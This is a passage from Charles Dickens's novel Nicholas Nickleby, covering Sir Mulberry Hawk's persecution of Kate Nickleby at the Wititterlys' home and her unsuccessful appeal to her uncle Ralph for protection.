their thoughts to Mrs +Wititterly, whose attention also they had now effectually distracted +from the young lady, by throwing her into a state of the utmost +bewilderment and consternation. At length, the conveyance in which +she had come rolled off too with its load, and the four worthies, +being left alone under the portico, enjoyed a hearty laugh together. + +'There,' said Sir Mulberry, turning to his noble friend. 'Didn't I +tell you last night that if we could find where they were going by +bribing a servant through my fellow, and then established ourselves +close by with the mother, these people's honour would be our own? +Why here it is, done in four-and-twenty hours.' + +'Ye--es,' replied the dupe. 'But I have been tied to the old woman +all ni-ight.' + +'Hear him,' said Sir Mulberry, turning to his two friends. 'Hear +this discontented grumbler. Isn't it enough to make a man swear +never to help him in his plots and schemes again? Isn't it an +infernal shame?' + +Pyke asked Pluck whether it was not an infernal shame, and Pluck +asked Pyke; but neither answered. + +'Isn't it the truth?' demanded Verisopht. 'Wasn't it so?' + +'Wasn't it so!' repeated Sir Mulberry. 'How would you have had it? +How could we have got a general invitation at first sight--come when +you like, go when you like, stop as long as you like, do what you +like--if you, the lord, had not made yourself agreeable to the +foolish mistress of the house? Do I care for this girl, except as +your friend? Haven't I been sounding your praises in her ears, and +bearing her pretty sulks and peevishness all night for you? What +sort of stuff do you think I'm made of? Would I do this for every +man? Don't I deserve even gratitude in return?' + +'You're a deyvlish good fellow,' said the poor young lord, taking +his friend's arm. 'Upon my life you're a deyvlish good fellow, +Hawk.' + +'And I have done right, have I?' demanded Sir Mulberry. + +'Quite ri-ght.' + +'And like a poor, silly, good-natured, friendly dog as I am, eh?' + +'Ye--es, ye--es; like a friend,' replied the other. + +'Well then,' replied Sir Mulberry, 'I'm satisfied. And now let's go +and have our revenge on the German baron and the Frenchman, who +cleaned you out so handsomely last night.' + +With these words the friendly creature took his companion's arm and +led him away, turning half round as he did so, and bestowing a wink +and a contemptuous smile on Messrs Pyke and Pluck, who, cramming +their handkerchiefs into their mouths to denote their silent +enjoyment of the whole proceedings, followed their patron and his +victim at a little distance. + + + +CHAPTER 28 + +Miss Nickleby, rendered desperate by the Persecution of Sir Mulberry +Hawk, and the Complicated Difficulties and Distresses which surround +her, appeals, as a last resource, to her Uncle for Protection + + +The ensuing morning brought reflection with it, as morning usually +does; but widely different was the train of thought it awakened in +the different persons who had been so unexpectedly brought together +on the preceding evening, by the active agency of Messrs Pyke and +Pluck. + +The reflections of Sir Mulberry Hawk--if such a term can be applied +to the thoughts of the systematic and calculating man of +dissipation, whose joys, regrets, pains, and pleasures, are all of +self, and who would seem to retain nothing of the intellectual +faculty but the power to debase himself, and to degrade the very +nature whose outward semblance he wears--the reflections of Sir +Mulberry Hawk turned upon Kate Nickleby, and were, in brief, that +she was undoubtedly handsome; that her coyness MUST be easily +conquerable by a man of his address and experience, and that the +pursuit was one which could not fail to redound to his credit, and +greatly to enhance his reputation with the world. And lest this +last consideration--no mean or secondary one with Sir Mulberry-- +should sound strangely in the ears of some, let it be remembered +that most men live in a world of their own, and that in that limited +circle alone are they ambitious for distinction and applause. Sir +Mulberry's world was peopled with profligates, and he acted +accordingly. + +Thus, cases of injustice, and oppression, and tyranny, and the most +extravagant bigotry, are in constant occurrence among us every day. +It is the custom to trumpet forth much wonder and astonishment at +the chief actors therein setting at defiance so completely the +opinion of the world; but there is no greater fallacy; it is +precisely because they do consult the opinion of their own little +world that such things take place at all, and strike the great world +dumb with amazement. + +The reflections of Mrs Nickleby were of the proudest and most +complacent kind; and under the influence of her very agreeable +delusion she straightway sat down and indited a long letter to Kate, +in which she expressed her entire approval of the admirable choice +she had made, and extolled Sir Mulberry to the skies; asserting, for +the more complete satisfaction of her daughter's feelings, that he +was precisely the individual whom she (Mrs Nickleby) would have +chosen for her son-in-law, if she had had the picking and choosing +from all mankind. The good lady then, with the preliminary +observation that she might be fairly supposed not to have lived in +the world so long without knowing its ways, communicated a great +many subtle precepts applicable to the state of courtship, and +confirmed in their wisdom by her own personal experience. Above all +things she commended a strict maidenly reserve, as being not only a +very laudable thing in itself, but as tending materially to +strengthen and increase a lover's ardour. 'And I never,' added Mrs +Nickleby, 'was more delighted in my life than to observe last night, +my dear, that your good sense had already told you this.' With which +sentiment, and various hints of the pleasure she derived from the +knowledge that her daughter inherited so large an instalment of her +own excellent sense and discretion (to nearly the full measure of +which she might hope, with care, to succeed in time), Mrs Nickleby +concluded a very long and rather illegible letter. + +Poor Kate was well-nigh distracted on the receipt of four closely- +written and closely-crossed sides of congratulation on the very +subject which had prevented her closing her eyes all night, and kept +her weeping and watching in her chamber; still worse and more trying +was the necessity of rendering herself agreeable to Mrs Wititterly, +who, being in low spirits after the fatigue of the preceding night, +of course expected her companion (else wherefore had she board and +salary?) to be in the best spirits possible. As to Mr Wititterly, +he went about all day in a tremor of delight at having shaken hands +with a lord, and having actually asked him to come and see him in +his own house. The lord himself, not being troubled to any +inconvenient extent with the power of thinking, regaled himself with +the conversation of Messrs Pyke and Pluck, who sharpened their wit +by a plentiful indulgence in various costly stimulants at his +expense. + +It was four in the afternoon--that is, the vulgar afternoon of the +sun and the clock--and Mrs Wititterly reclined, according to custom, +on the drawing-room sofa, while Kate read aloud a new novel in three +volumes, entitled 'The Lady Flabella,' which Alphonse the doubtful +had procured from the library that very morning. And it was a +production admirably suited to a lady labouring under Mrs +Wititterly's complaint, seeing that there was not a line in it, from +beginning to end, which could, by the most remote contingency, +awaken the smallest excitement in any person breathing. + +Kate read on. + +'"Cherizette," said the Lady Flabella, inserting her mouse-like feet +in the blue satin slippers, which had unwittingly occasioned the +half-playful half-angry altercation between herself and the youthful +Colonel Befillaire, in the Duke of Mincefenille's SALON DE DANSE on +the previous night. "CHERIZETTE, MA CHERE, DONNEZ-MOI DE L'EAU-DE- +COLOGNE, S'IL VOUS PLAIT, MON ENFANT." + +'"MERCIE--thank you," said the Lady Flabella, as the lively but +devoted Cherizette plentifully besprinkled with the fragrant +compound the Lady Flabella's MOUCHOIR of finest cambric, edged with +richest lace, and emblazoned at the four corners with the Flabella +crest, and gorgeous heraldic bearings of that noble family. +"MERCIE--that will do." + +'At this instant, while the Lady Flabella yet inhaled that delicious +fragrance by holding the MOUCHOIR to her exquisite, but +thoughtfully-chiselled nose, the door of the BOUDOIR (artfully +concealed by rich hangings of silken damask, the hue of Italy's +firmament) was thrown open, and with noiseless tread two VALETS-DE- +CHAMBRE, clad in sumptuous liveries of peach-blossom and gold, +advanced into the room followed by a page in BAS DE SOIE--silk +stockings--who, while they remained at some distance making the most +graceful obeisances, advanced to the feet of his lovely mistress, +and dropping on one knee presented, on a golden salver gorgeously +chased, a scented BILLET. + +'The Lady Flabella, with an agitation she could not repress, hastily +tore off the ENVELOPE and broke the scented seal. It WAS from +Befillaire--the young, the slim, the low-voiced--HER OWN +Befillaire.' + +'Oh, charming!' interrupted Kate's patroness, who was sometimes +taken literary. 'Poetic, really. Read that description again, Miss +Nickleby.' + +Kate complied. + +'Sweet, indeed!' said Mrs Wititterly, with a sigh. 'So voluptuous, +is it not--so soft?' + +'Yes, I think it is,' replied Kate, gently; 'very soft.' + +'Close the book, Miss Nickleby,' said Mrs Wititterly. 'I can hear +nothing more today; I should be sorry to disturb the impression of +that sweet description. Close the book.' + +Kate complied, not unwillingly; and, as she did so, Mrs Wititterly +raising her glass with a languid hand, remarked, that she looked +pale. + +'It was the fright of that--that noise and confusion last night,' +said Kate. + +'How very odd!' exclaimed Mrs Wititterly, with a look of surprise. +And certainly, when one comes to think of it, it WAS very odd that +anything should have disturbed a companion. A steam-engine, or +other ingenious piece of mechanism out of order, would have been +nothing to it. + +'How did you come to know Lord Frederick, and those other delightful +creatures, child?' asked Mrs Wititterly, still eyeing Kate through +her glass. + +'I met them at my uncle's,' said Kate, vexed to feel that she was +colouring deeply, but unable to keep down the blood which rushed to +her face whenever she thought of that man. + +'Have you known them long?' + +'No,' rejoined Kate. 'Not long.' + +'I was very glad of the opportunity which that respectable person, +your mother, gave us of being known to them,' said Mrs Wititterly, +in a lofty manner. 'Some friends of ours were on the very point of +introducing us, which makes it quite remarkable.' + +This was said lest Miss Nickleby should grow conceited on the honour +and dignity of having known four great people (for Pyke and Pluck +were included among the delightful creatures), whom Mrs Wititterly +did not know. But as the circumstance had made no impression one +way or other upon Kate's mind, the force of the observation was +quite lost upon her. + +'They asked permission to call,' said Mrs Wititterly. 'I gave it +them of course.' + +'Do you expect them today?' Kate ventured to inquire. + +Mrs Wititterly's answer was lost in the noise of a tremendous +rapping at the street-door, and before it had ceased to vibrate, +there drove up a handsome cabriolet, out of which leaped Sir +Mulberry Hawk and his friend Lord Verisopht. + +'They are here now,' said Kate, rising and hurrying away. + +'Miss Nickleby!' cried Mrs Wititterly, perfectly aghast at a +companion's attempting to quit the room, without her permission +first had and obtained. 'Pray don't think of going.' + +'You are very good!' replied Kate. 'But--' + +'For goodness' sake, don't agitate me by making me speak so much,' +said Mrs Wititterly, with great sharpness. 'Dear me, Miss Nickleby, +I beg--' + +It was in vain for Kate to protest that she was unwell, for the +footsteps of the knockers, whoever they were, were already on the +stairs. She resumed her seat, and had scarcely done so, when the +doubtful page darted into the room and announced, Mr Pyke, and Mr +Pluck, and Lord Verisopht, and Sir Mulberry Hawk, all at one burst. + +'The most extraordinary thing in the world,' said Mr Pluck, saluting +both ladies with the utmost cordiality; 'the most extraordinary +thing. As Lord Frederick and Sir Mulberry drove up to the door, +Pyke and I had that instant knocked.' + +'That instant knocked,' said Pyke. + +'No matter how you came, so that you are here,' said Mrs Wititterly, +who, by dint of lying on the same sofa for three years and a half, +had got up quite a little pantomime of graceful attitudes, and now +threw herself into the most striking of the whole series, to +astonish the visitors. 'I am delighted, I am sure.' + +'And how is Miss Nickleby?' said Sir Mulberry Hawk, accosting Kate, +in a low voice--not so low, however, but that it reached the ears of +Mrs Wititterly. + +'Why, she complains of suffering from the fright of last night,' +said the lady. 'I am sure I don't wonder at it, for my nerves are +quite torn to pieces.' + +'And yet you look,' observed Sir Mulberry, turning round; 'and yet +you look--' + +'Beyond everything,' said Mr Pyke, coming to his patron's +assistance. Of course Mr Pluck said the same. + +'I am afraid Sir Mulberry is a flatterer, my lord,' said Mrs +Wititterly, turning to that young gentleman, who had been sucking +the head of his cane in silence, and staring at Kate. + +'Oh, deyvlish!' replied Verisopht. Having given utterance to which +remarkable sentiment, he occupied himself as before. + +'Neither does Miss Nickleby look the worse,' said Sir Mulberry, +bending his bold gaze upon her. 'She was always handsome, but upon +my soul, ma'am, you seem to have imparted some of your own good +looks to her besides.' + +To judge from the glow which suffused the poor girl's countenance +after this speech, Mrs Wititterly might, with some show of reason, +have been supposed to have imparted to it some of that artificial +bloom which decorated her own. Mrs Wititterly admitted, though not +with the best grace in the world, that Kate DID look pretty. She +began to think, too, that Sir Mulberry was not quite so agreeable a +creature as she had at first supposed him; for, although a skilful +flatterer is a most delightful companion if you can keep him all to +yourself, his taste becomes very doubtful when he takes to +complimenting other people. + +'Pyke,' said the watchful Mr Pluck, observing the effect which the +praise of Miss Nickleby had produced. + +'Well, Pluck,' said Pyke. + +'Is there anybody,' demanded Mr Pluck, mysteriously, 'anybody you +know, that Mrs Wititterly's profile reminds you of?' + +'Reminds me of!' answered Pyke. 'Of course there is.' + +'Who do you mean?' said Pluck, in the same mysterious manner. 'The +D. of B.?' + +'The C. of B.,' replied Pyke, with the faintest trace of a grin +lingering in his countenance. 'The beautiful sister is the +countess; not the duchess.' + +'True,' said Pluck, 'the C. of B. The resemblance is wonderful!' + +'Perfectly startling,' said Mr Pyke. + +Here was a state of things! Mrs Wititterly was declared, upon the +testimony of two veracious and competent witnesses, to be the very +picture of a countess! This was one of the consequences of getting +into good society. Why, she might have moved among grovelling +people for twenty years, and never heard of it. How could she, +indeed? what did THEY know about countesses? + +The two gentlemen having, by the greediness with which this little +bait was swallowed, tested the extent of Mrs Wititterly's appetite +for adulation, proceeded to administer that commodity in very large +doses, thus affording to Sir Mulberry Hawk an opportunity of +pestering Miss Nickleby with questions and remarks, to which she was +absolutely obliged to make some reply. Meanwhile, Lord Verisopht +enjoyed unmolested the full flavour of the gold knob at the top of +his cane, as he would have done to the end of the interview if Mr +Wititterly had not come home, and caused the conversation to turn to +his favourite topic. + +'My lord,' said Mr Wititterly, 'I am delighted--honoured--proud. Be +seated again, my lord, pray. I am proud, indeed--most proud.' + +It was to the secret annoyance of his wife that Mr Wititterly said +all this, for, although she was bursting with pride and arrogance, +she would have had the illustrious guests believe that their visit +was quite a common occurrence, and that they had lords and baronets +to see them every day in the week. But Mr Wititterly's feelings +were beyond the power of suppression. + +'It is an honour, indeed!' said Mr Wititterly. 'Julia, my soul, you +will suffer for this tomorrow.' + +'Suffer!' cried Lord Verisopht. + +'The reaction, my lord, the reaction,' said Mr Wititterly. 'This +violent strain upon the nervous system over, my lord, what ensues? +A sinking, a depression, a lowness, a lassitude, a debility. My +lord, if Sir Tumley Snuffim was to see that delicate creature at +this moment, he would not give a--a--THIS for her life.' In +illustration of which remark, Mr Wititterly took a pinch of snuff +from his box, and jerked it lightly into the air as an emblem of +instability. + +'Not THAT,' said Mr Wititterly, looking about him with a serious +countenance. 'Sir Tumley Snuffim would not give that for Mrs +Wititterly's existence.' + +Mr Wititterly told this with a kind of sober exultation, as if it +were no trifling distinction for a man to have a wife in such a +desperate state, and Mrs Wititterly sighed and looked on, as if she +felt the honour, but had determined to bear it as meekly as might +be. + +'Mrs Wititterly,' said her husband, 'is Sir Tumley Snuffim's +favourite patient. I believe I may venture to say, that Mrs +Wititterly is the first person who took the new medicine which is +supposed to have destroyed a family at Kensington Gravel Pits. I +believe she was. If I am wrong, Julia, my dear, you will correct +me.' + +'I believe I was,' said Mrs Wititterly, in a faint voice. + +As there appeared to be some doubt in the mind of his patron how he +could best join in this conversation, the indefatigable Mr Pyke +threw himself into the breach, and, by way of saying something to +the point, inquired--with reference to the aforesaid medicine-- +whether it was nice. + +'No, sir, it was not. It had not even that recommendation,' said Mr +W. + +'Mrs Wititterly is quite a martyr,' observed Pyke, with a +complimentary bow. + +'I THINK I am,' said Mrs Wititterly, smiling. + +'I think you are, my dear Julia,' replied her husband, in a tone +which seemed to say that he was not vain, but still must insist upon +their privileges. 'If anybody, my lord,' added Mr Wititterly, +wheeling round to the nobleman, 'will produce to me a greater martyr +than Mrs Wititterly, all I can say is, that I shall be glad to see +that martyr, whether male or female--that's all, my lord.' + +Pyke and Pluck promptly remarked that certainly nothing could be +fairer than that; and the call having been by this time protracted +to a very great length, they obeyed Sir Mulberry's look, and rose to +go. This brought Sir Mulberry himself and Lord Verisopht on their +legs also. Many protestations of friendship, and expressions +anticipative of the pleasure which must inevitably flow from so +happy an acquaintance, were exchanged, and the visitors departed, +with renewed assurances that at all times and seasons the mansion of +the Wititterlys would be honoured by receiving them beneath its +roof. + +That they came at all times and seasons--that they dined there one +day, supped the next, dined again on the next, and were constantly +to and fro on all--that they made parties to visit public places, +and met by accident at lounges--that upon all these occasions Miss +Nickleby was exposed to the constant and unremitting persecution of +Sir Mulberry Hawk, who now began to feel his character, even in the +estimation of his two dependants, involved in the successful +reduction of her pride--that she had no intervals of peace or rest, +except at those hours when she could sit in her solitary room, and +weep over the trials of the day--all these were consequences +naturally flowing from the well-laid plans of Sir Mulberry, and +their able execution by the auxiliaries, Pyke and Pluck. + +And thus for a fortnight matters went on. That any but the weakest +and silliest of people could have seen in one interview that Lord +Verisopht, though he was a lord, and Sir Mulberry Hawk, though he +was a baronet, were not persons accustomed to be the best possible +companions, and were certainly not calculated by habits, manners, +tastes, or conversation, to shine with any very great lustre in the +society of ladies, need scarcely be remarked. But with Mrs +Wititterly the two titles were all sufficient; coarseness became +humour, vulgarity softened itself down into the most charming +eccentricity; insolence took the guise of an easy absence of +reserve, attainable only by those who had had the good fortune to +mix with high folks. + +If the mistress put such a construction upon the behaviour of her +new friends, what could the companion urge against them? If they +accustomed themselves to very little restraint before the lady of +the house, with how much more freedom could they address her paid +dependent! Nor was even this the worst. As the odious Sir Mulberry +Hawk attached himself to Kate with less and less of disguise, Mrs +Wititterly began to grow jealous of the superior attractions of Miss +Nickleby. If this feeling had led to her banishment from the +drawing-room when such company was there, Kate would have been only +too happy and willing that it should have existed, but unfortunately +for her she possessed that native grace and true gentility of +manner, and those thousand nameless accomplishments which give to +female society its greatest charm; if these be valuable anywhere, +they were especially so where the lady of the house was a mere +animated doll. The consequence was, that Kate had the double +mortification of being an indispensable part of the circle when Sir +Mulberry and his friends were there, and of being exposed, on that +very account, to all Mrs Wititterly's ill-humours and caprices when +they were gone. She became utterly and completely miserable. + +Mrs Wititterly had never thrown off the mask with regard to Sir +Mulberry, but when she was more than usually out of temper, +attributed the circumstance, as ladies sometimes do, to nervous +indisposition. However, as the dreadful idea that Lord Verisopht +also was somewhat taken with Kate, and that she, Mrs Wititterly, was +quite a secondary person, dawned upon that lady's mind and gradually +developed itself, she became possessed with a large quantity of +highly proper and most virtuous indignation, and felt it her duty, +as a married lady and a moral member of society, to mention the +circumstance to 'the young person' without delay. + +Accordingly Mrs Wititterly broke ground next morning, during a pause +in the novel-reading. + +'Miss Nickleby,' said Mrs Wititterly, 'I wish to speak to you very +gravely. I am sorry to have to do it, upon my word I am very sorry, +but you leave me no alternative, Miss Nickleby.' Here Mrs Wititterly +tossed her head--not passionately, only virtuously--and remarked, +with some appearance of excitement, that she feared that palpitation +of the heart was coming on again. + +'Your behaviour, Miss Nickleby,' resumed the lady, 'is very far from +pleasing me--very far. I am very anxious indeed that you should do +well, but you may depend upon it, Miss Nickleby, you will not, if +you go on as you do.' + +'Ma'am!' exclaimed Kate, proudly. + +'Don't agitate me by speaking in that way, Miss Nickleby, don't,' +said Mrs Wititterly, with some violence, 'or you'll compel me to +ring the bell.' + +Kate looked at her, but said nothing. + +'You needn't suppose,' resumed Mrs Wititterly, 'that your looking at +me in that way, Miss Nickleby, will prevent my saying what I am +going to say, which I feel to be a religious duty. You needn't +direct your glances towards me,' said Mrs Wititterly, with a sudden +burst of spite; 'I am not Sir Mulberry, no, nor Lord Frederick +Verisopht, Miss Nickleby, nor am I Mr Pyke, nor Mr Pluck either.' + +Kate looked at her again, but less steadily than before; and resting +her elbow on the table, covered her eyes with her hand. + +'If such things had been done when I was a young girl,' said Mrs +Wititterly (this, by the way, must have been some little time +before), 'I don't suppose anybody would have believed it.' + +'I don't think they would,' murmured Kate. 'I do not think anybody +would believe, without actually knowing it, what I seem doomed to +undergo!' + +'Don't talk to me of being doomed to undergo, Miss Nickleby, if you +please,' said Mrs Wititterly, with a shrillness of tone quite +surprising in so great an invalid. 'I will not be answered, Miss +Nickleby. I am not accustomed to be answered, nor will I permit it +for an instant. Do you hear?' she added, waiting with some apparent +inconsistency FOR an answer. + +'I do hear you, ma'am,' replied Kate, 'with surprise--with greater +surprise than I can express.' + +'I have always considered you a particularly well-behaved young +person for your station in life,' said Mrs Wititterly; 'and as you +are a person of healthy appearance, and neat in your dress and so +forth, I have taken an interest in you, as I do still, considering +that I owe a sort of duty to that respectable old female, your +mother. For these reasons, Miss Nickleby, I must tell you once for +all, and begging you to mind what I say, that I must insist upon +your immediately altering your very forward behaviour to the +gentleman who visit at this house. It really is not becoming,' said +Mrs Wititterly, closing her chaste eyes as she spoke; 'it is +improper--quite improper." + +'Oh!' cried Kate, looking upwards and clasping her hands; 'is not +this, is not this, too cruel, too hard to bear! Is it not enough +that I should have suffered as I have, night and day; that I should +almost have sunk in my own estimation from very shame of having been +brought into contact with such people; but must I also be exposed to +this unjust and most unfounded charge!' + +'You will have the goodness to recollect, Miss Nickleby,' said Mrs +Wititterly, 'that when you use such terms as "unjust", and +"unfounded", you charge me, in effect, with stating that which is +untrue.' + +'I do,' said Kate with honest indignation. 'Whether you make this +accusation of yourself, or at the prompting of others, is alike to +me. I say it IS vilely, grossly, wilfully untrue. Is it possible!' +cried Kate, 'that anyone of my own sex can have sat by, and not have +seen the misery these men have caused me? Is it possible that you, +ma'am, can have been present, and failed to mark the insulting +freedom that their every look bespoke? Is it possible that you can +have avoided seeing, that these libertines, in their utter +disrespect for you, and utter disregard of all gentlemanly +behaviour, and almost of decency, have had but one object in +introducing themselves here, and that the furtherance of their +designs upon a friendless, helpless girl, who, without this +humiliating confession, might have hoped to receive from one so much +her senior something like womanly aid and sympathy? I do not--I +cannot believe it!' + +If poor Kate had possessed the slightest knowledge of the world, she +certainly would not have ventured, even in the excitement into which +she had been lashed, upon such an injudicious speech as this. Its +effect was precisely what a more experienced observer would have +foreseen. Mrs Wititterly received the attack upon her veracity with +exemplary calmness, and listened with the most heroic fortitude to +Kate's account of her own sufferings. But allusion being made to +her being held in disregard by the gentlemen, she evinced violent +emotion, and this blow was no sooner followed up by the remark +concerning her seniority, than she fell back upon the sofa, uttering +dismal screams. + +'What is the matter?' cried Mr Wititterly, bouncing into the room. +'Heavens, what do I see? Julia! Julia! look up, my life, look up!' + +But Julia looked down most perseveringly, and screamed still louder; +so Mr Wititterly rang the bell, and danced in a frenzied manner +round the sofa on which Mrs Wititterly lay; uttering perpetual cries +for Sir Tumley Snuffim, and never once leaving off to ask for any +explanation of the scene before him. + +'Run for Sir Tumley,' cried Mr Wititterly, menacing the page with +both fists. 'I knew it, Miss Nickleby,' he said, looking round with +an air of melancholy triumph, 'that society has been too much for +her. This is all soul, you know, every bit of it.' With this +assurance Mr Wititterly took up the prostrate form of Mrs +Wititterly, and carried her bodily off to bed. + +Kate waited until Sir Tumley Snuffim had paid his visit and looked +in with a report, that, through the special interposition of a +merciful Providence (thus spake Sir Tumley), Mrs Wititterly had gone +to sleep. She then hastily attired herself for walking, and leaving +word that she should return within a couple of hours, hurried away +towards her uncle's house. + +It had been a good day with Ralph Nickleby--quite a lucky day; and +as he walked to and fro in his little back-room with his hands +clasped behind him, adding up in his own mind all the sums that had +been, or would be, netted from the business done since morning, his +mouth was drawn into a hard stern smile; while the firmness of the +lines and curves that made it up, as well as the cunning glance of +his cold, bright eye, seemed to tell, that if any resolution or +cunning would increase the profits, they would not fail to be +excited for the purpose. + +'Very good!' said Ralph, in allusion, no doubt, to some proceeding +of the day. 'He defies the usurer, does he? Well, we shall see. +"Honesty is the best policy," is it? We'll try that too.' + +He stopped, and then walked on again. + +'He is content,' said Ralph, relaxing into a smile, 'to set his +known character and conduct against the power of money--dross, as he +calls it. Why, what a dull blockhead this fellow must be! Dross +to, dross! Who's that?' + +'Me,' said Newman Noggs, looking in. 'Your niece.' + +'What of her?' asked Ralph sharply. + +'She's here.' + +'Here!' + +Newman jerked his head towards his little room, to signify that she +was waiting there. + +'What does she want?' asked Ralph. + +'I don't know,' rejoined Newman. 'Shall I ask?' he added quickly. + +'No,' replied Ralph. 'Show her in! Stay.' He hastily put away a +padlocked cash-box that was on the table, and substituted in its +stead an empty purse. 'There,' said Ralph. 'NOW she may come in.' + +Newman, with a grim smile at this manoeuvre, beckoned the young lady +to advance, and having placed a chair for her, retired; looking +stealthily over his shoulder at Ralph as he limped slowly out. + +'Well,' said Ralph, roughly enough; but still with something more of +kindness in his manner than he would have exhibited towards anybody +else. 'Well, my--dear. What now?' + +Kate raised her eyes, which were filled with tears; and with an +effort to master her emotion strove to speak, but in vain. So +drooping her head again, she remained silent. Her face was hidden +from his view, but Ralph could see that she was weeping. + +'I can guess the cause of this!' thought Ralph, after looking at her +for some time in silence. 'I can--I can--guess the cause. Well! +Well!' thought Ralph--for the moment quite disconcerted, as he +watched the anguish of his beautiful niece. 'Where is the harm? +only a few tears; and it's an excellent lesson for her, an excellent +lesson.' + +'What is the matter?' asked Ralph, drawing a chair opposite, and +sitting down. + +He was rather taken aback by the sudden firmness with which Kate +looked up and answered him. + +'The matter which brings me to you, sir,' she said, 'is one which +should call the blood up into your cheeks, and make you burn to +hear, as it does me to tell. I have been wronged; my feelings have +been outraged, insulted, wounded past all healing, and by your +friends.' + +'Friends!' cried Ralph, sternly. 'I have no friends, girl.' + +'By the men I saw here, then,' returned Kate, quickly. 'If they +were no friends of yours, and you knew what they were,--oh, the more +shame on you, uncle, for bringing me among them. To have subjected +me to what I was exposed to here, through any misplaced confidence +or imperfect knowledge of your guests, would have required some +strong excuse; but if you did it--as I now believe you did--knowing +them well, it was most dastardly and cruel.' + +Ralph drew back in utter amazement at this plain speaking, and +regarded Kate with the sternest look. But she met his gaze proudly +and firmly, and although her face was very pale, it looked more +noble and handsome, lighted up as it was, than it had ever appeared +before. + +'There is some of that boy's blood in you, I see,' said Ralph, +speaking in his harshest tones, as something in the flashing eye +reminded him of Nicholas at their last meeting. + +'I hope there is!' replied Kate. 'I should be proud to know it. I +am young, uncle, and all the difficulties and miseries of my +situation have kept it down, but I have been roused today beyond all +endurance, and come what may, I WILL NOT, as I am your brother's +child, bear these insults longer.' + +'What insults, girl?' demanded Ralph, sharply. + +'Remember what took place here, and ask yourself,' replied Kate, +colouring deeply. 'Uncle, you must--I am sure you will--release me +from such vile and degrading companionship as I am exposed to now. +I do not mean,' said Kate, hurrying to the old man, and laying her +arm upon his shoulder; 'I do not mean to be angry and violent--I beg +your pardon if I have seemed so, dear uncle,--but you do not know +what I have suffered, you do not indeed. You cannot tell what the +heart of a young girl is--I have no right to expect you should; but +when I tell you that I am wretched, and that my heart is breaking, I +am sure you will help me. I am sure, I am sure you will!' + +Ralph looked at her for an instant; then turned away his head, and +beat his foot nervously upon the ground. + +'I have gone on day after day,' said Kate, bending over him, and +timidly placing her little hand in his, 'in the hope that this +persecution would cease; I have gone on day after day, compelled to +assume the appearance of cheerfulness, when I was most unhappy. I +have had no counsellor, no adviser, no one to protect me. Mama +supposes that these are honourable men, rich and distinguished, and +how CAN I--how can I undeceive her--when she is so happy in these +little delusions, which are the only happiness she has? The lady +with whom you placed me, is not the person to whom I could confide +matters of so much delicacy, and I have come at last to you, the +only friend I have at hand--almost the only friend I have at all--to +entreat and implore you to assist me.' + +'How can I assist you, child?' said Ralph, rising from his chair, +and pacing up and down the room in his old attitude. + +'You have influence with one of these men, I KNOW,' rejoined Kate, +emphatically. 'Would not a word from you induce them to desist from +this unmanly course?' + +'No,' said Ralph, suddenly turning; 'at least--that--I can't say it, +if it would.' + +'Can't say it!' + +'No,' said Ralph, coming to a dead stop, and clasping his hands more +tightly behind him. 'I can't say it.' + +Kate fell back a step or two, and looked at him, as if in doubt +whether she had heard aright. + +'We are connected in business,' said Ralph, poising himself +alternately on his toes and heels, and looking coolly in his niece's +face, 'in business, and I can't afford to offend them. What is it +after all? We have all our trials, and this is one of yours. Some +girls would be proud to have such gallants at their feet.' + +'Proud!' cried Kate. + +'I don't say,' rejoined Ralph, raising his forefinger, 'but that you +do right to despise them; no, you show your good sense in that, as +indeed I knew from the first you would. Well. In all other +respects you are comfortably bestowed. It's not much to bear. If +this young lord does dog your footsteps, and whisper his drivelling +inanities in your ears, what of it? It's a dishonourable passion. +So be it; it won't last long. Some other novelty will spring up one +day, and you will be released. In the mean time--' + +'In the mean time,' interrupted Kate, with becoming pride and +indignation, 'I am to be the scorn of my own sex, and the toy of the +other; justly condemned by all women of right feeling, and despised +by all honest and honourable men; sunken in my own esteem, and +degraded in every eye that looks upon me. No, not if I work my +fingers to the bone, not if I am driven to the roughest and hardest +labour. Do not mistake me. I will not disgrace your +recommendation. I will remain in the house in which it placed me, +until I am entitled to leave it by the terms of my engagement; +though, mind, I see these men no more. When I quit it, I will hide +myself from them and you, and, striving to support my mother by hard +service, I will live, at least, in peace, and trust in God to help +me.' + +With these words, she waved her hand, and quitted the room, leaving +Ralph Nickleby motionless as a statue. + +The surprise with which Kate, as she closed the room-door, beheld, +close beside it, Newman Noggs standing bolt upright in a little +niche in the wall like some scarecrow or Guy Faux laid up in winter +quarters, almost occasioned her to call aloud. But, Newman laying +his finger upon his lips, she had the presence of mind to refrain. + +'Don't,' said Newman, gliding out of his recess, and accompanying +her across the hall. 'Don't cry, don't cry.' Two very large tears, +by-the-bye, were running down Newman's face as he spoke. + +'I see how it is,' said poor Noggs, drawing from his pocket what +seemed to be a very old duster, and wiping Kate's eyes with it, as +gently as if she were an infant. 'You're giving way now. Yes, yes, +very good; that's right, I like that. It was right not to give way +before him. Yes, yes! Ha, ha, ha! Oh, yes. Poor thing!' + +With these disjointed exclamations, Newman wiped his own eyes with +the afore-mentioned duster, and, limping to the street-door, opened +it to let her out. + +'Don't cry any more,' whispered Newman. 'I shall see you soon. Ha! +ha! ha! And so shall somebody else too. Yes, yes. Ho! ho!' + +'God bless you,' answered Kate, hurrying out, 'God bless you.' + +'Same to you,' rejoined Newman, opening the door again a little way +to say so. 'Ha, ha, ha! Ho! ho! ho!' + +And Newman Noggs opened the door once again to nod cheerfully, and +laugh--and shut it, to shake his head mournfully, and cry. + +Ralph remained in the same attitude till he heard the noise of the +closing door, when he shrugged his shoulders, and after a few turns +about the room--hasty at first, but gradually becoming slower, as he +relapsed into himself--sat down before his desk. + +It is one of those problems of human nature, which may be noted +down, but not solved;--although Ralph felt no remorse at that moment +for his conduct towards the innocent, true-hearted girl; although +his libertine clients had done precisely what he had expected, +precisely what he most wished, and precisely what would tend most to +his advantage, still he hated them for doing it, from the very +bottom of his soul. + +'Ugh!' said Ralph, scowling round, and shaking his clenched hand as +the faces of the two profligates rose up before his mind; 'you shall +pay for this. Oh! you shall pay for this!' + +As the usurer turned for consolation to his books and papers, a +performance was going on outside his office door, which would have +occasioned him no small surprise, if he could by any means have +become acquainted with it. + +Newman Noggs was the sole actor. He stood at a little distance from +the door, with his face towards it; and with the sleeves of his coat +turned back at the wrists, was occupied in bestowing the most +vigorous, scientific, and straightforward blows upon the empty air. + +At first sight, this would have appeared merely a wise precaution in +a man of sedentary habits, with the view of opening the chest and +strengthening the muscles of the arms. But the intense eagerness +and joy depicted in the face of Newman Noggs, which was suffused +with perspiration; the surprising energy with which he directed a +constant succession of blows towards a particular panel about five +feet eight from the ground, and still worked away in the most +untiring and persevering manner, would have 